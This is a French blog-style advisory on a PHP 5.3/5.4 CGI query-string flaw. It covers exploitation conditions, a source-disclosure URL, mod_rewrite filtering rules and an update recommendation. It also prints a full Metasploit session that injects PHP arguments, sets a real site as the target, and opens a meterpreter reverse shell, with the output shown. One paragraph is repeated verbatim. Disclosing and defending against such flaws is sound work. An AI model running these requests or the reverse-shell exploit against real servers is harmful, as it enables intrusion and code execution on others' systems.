Une importante faille de sécurité pour PHP 5.3 et 5.4
Une faille de sécurité assez grave vient d’être découverte dans les versions 5.3 et 5.4 de PHP. L’utilisation d’une simple requête HTTP permet d’afficher le code source de la page et éventuellement d’y retrouver les mots de passe utilisés. De quoi avoir quelques frissons dans le dos !
1. La faille et les solutions pour la contrer
Pour pouvoir exploiter cette faille, il faut tout de même répondre aux conditions suivantes :
Utiliser une version de PHP sur le serveur inférieure à la 5.3.13 ou la 5.4.3
L’interpréteur PHP doit fonctionner en mode CGI, ce qui n’est pas le mode par défaut
La requête HTTP doit être du type Query String, commencer par le signe – et ne pas comporter de signe =
La méthode de la requête doit être soit un GET, soit un HEAD
Les modules FastCGI, mod_suphp, ainsi que le couple nginx + php-fpm ne sont pas concernés
Si vous ne savez pas dans quel mode est configuré votre serveur Apache, sachez qu’une configuration en mode CGI ressemble à quelque chose comme ça :
Options +ExecCGI AddHandler php5-cgi .php
Voici un exemple de requête qui permet de lancer une attaque. Ici, on utilise le paramètre -s qui permet de forcer l’affichage du code source :
http://victime.fr/index.php?-s
Pour corriger cette faille, il existe aujourd’hui deux méthodes. La première consiste tout simplement à mettre à jour PHP. La seconde est la mise en place de règles pour mod_rewrite qui permettent de filtrer les requêtes malicieuses. Voici un exemple de configuration à utiliser :
http://victime.fr/index.php?-s
Pour corriger cette faille, il existe aujourd’hui deux méthodes. La première consiste tout simplement à mettre à jour PHP. La seconde est la mise en place de règles pour mod_rewrite qui permettent de filtrer les requêtes malicieuses. Voici un exemple de configuration à utiliser :
RewriteCond %{QUERY_STRING} ^[^=]*$ RewriteCond %{QUERY_STRING} %2d|\- [NC] RewriteRule .? - [F,L]
2. Le module pour Metasploit
Un module pour Metasploit est déjà disponible et il se nomme “php_cgi_arg_injection”. Celui-ci utilise le paramètre -d qui permet de modifier le comportement d’une page PHP dynamiquement, pour ouvrir un shell à distance. Voici un exemple d’utilisation :
# cd metasploit && svn up # ./msfconsole -n msf > use exploit/unix/webapp/php_cgi_arg_injection msf > info msf > set RHOST www.facebook.com msf > set RPORT 80 msf > set TARGETURI / msf > show payloads msf > set PAYLAOD php/meterpreter/reverse_tcp msf > set LHOST 192.168.1.101 msf > set LPORT 4444 msf > exploit
[*] Started reverse handler on 192.168.1.101:4444
“/?-d+allow_url_include%3dtrue+-d+auto_prepend_file%3dphp://input”
[*] Sending stage (38791 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.101:443 ->
192.168.1.100:57139)
at 2012-05-03 18:42:39 -0400
meterpreter > getuid
Server username: www-data (33)
Certains hackers risquent de s’en donner à cœur joie avec tout ça…
4 commentaires sur “Une importante faille de sécurité pour PHP 5.3 et 5.4”